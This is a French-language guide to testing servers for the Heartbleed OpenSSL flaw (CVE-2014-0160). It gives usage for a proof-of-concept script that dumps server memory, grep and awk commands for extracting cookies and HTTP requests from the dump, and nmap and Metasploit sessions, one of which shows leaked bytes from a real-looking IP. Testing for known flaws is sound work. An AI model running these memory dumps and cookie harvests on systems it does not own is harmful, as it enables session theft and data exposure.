
Test de la vulnérabilité Heartbleed SSL (CVE-2014-0160)
NB Presque tous les outils (nmap, metasploit, nessus, même burp) ont les versions les plus récentes de leurs scanneurs. Ces outils ont été publiés aux premiers stades où les outils étaient encore en développement. Utilisez plutôt ceux-là que ceux-ci maintenant.
Usage: heartbleed-poc.py server [options]
Teste la vulnérabilité SSL Heartbleed (CVE-2014-0160)
Options: -h, --help affiche ce message d'aide et quitte -p PORT, --port=PORT port TCP à tester (par défaut : 443) -n NUM, --num=NUM nombre de heartbeats à envoyer si vulnérable (définit la quantité de mémoire récupérée) (par défaut : 1) -f FILE, --file=FILE nom du fichier pour écrire la mémoire extraite (par défaut : dump.bin) -q, --quiet n'affiche pas le dump mémoire -s, --starttls vérifie STARTTLS (smtp seulement pour l'instant)
Scan normal, effectue une requête sur le port 443, avec 1 itération : python heartbleed-poc.py example.com
Scan avec dump mémoire, fera 100 requêtes et enregistrera la sortie dans le fichier binaire dump.bin : python heartbleed-poc.py -n100 -f dump.bin example.com
Pour vous assurer d'obtenir différentes parties du HEAP, assurez-vous que le serveur est occupé, sinon vous obtiendrez des répétitions.
Vérifier un serveur mail avec STARTTLS (c'est-à-dire port 25) : python heartbleed-poc.py -s -p 25 example.com
Il y avait auparavant un commutateur -v pour spécifier explicitement la version TLS, il est maintenant détecté automatiquement et a été supprimé.
Le fichier binaire contiendra des données intéressantes, voici quelques méthodes simples pour trouver les bonnes informations :
Requête HTTP : awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
Cookies : grep -a "^Cookie:" dump.bin
Paires clé-valeur intéressantes : pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
Usage: nmap --script=ssl-heartbleed -p 443
Exemple de sortie :
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Options du module (auxiliary/scanner/ssl/openssl_heartbleed):
| Nom | Réglage actuel | Requis | Description |
|---|---|---|---|
| RHOSTS | oui | La plage d'adresses cible ou l'identifiant CIDR | |
| RPORT | 443 | oui | Le port cible |
| STARTTLS | None | oui | Protocole à utiliser avec STARTTLS, None pour éviter STARTTLS (accepté : None, SMTP, IMAP, JABBER, POP3, FTP) |
| THREADS | 1 | oui | Le nombre de threads simultanés |
| TLSVERSION | 1.0 | oui | Version TLS à utiliser (acceptée : 1.0, 1.1, 1.2) |
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Tentative de démarrage SSL via FTP [] 37.187.134.197:21 - Envoi de Client Hello... [] 37.187.134.197:21 - Envoi de Heartbeat... [] 37.187.134.197:21 - Réponse Heartbeat, vérification de fuites de données... [+] 37.187.134.197:21 - Réponse Heartbeat avec fuite [] 37.187.134.197:21 - Informations imprimables divulguées : @SE F(CKMIWsf"!98532ED/A [] Scanné 1 sur 1 hôtes (100% terminé) [*] Exécution du module auxiliaire terminée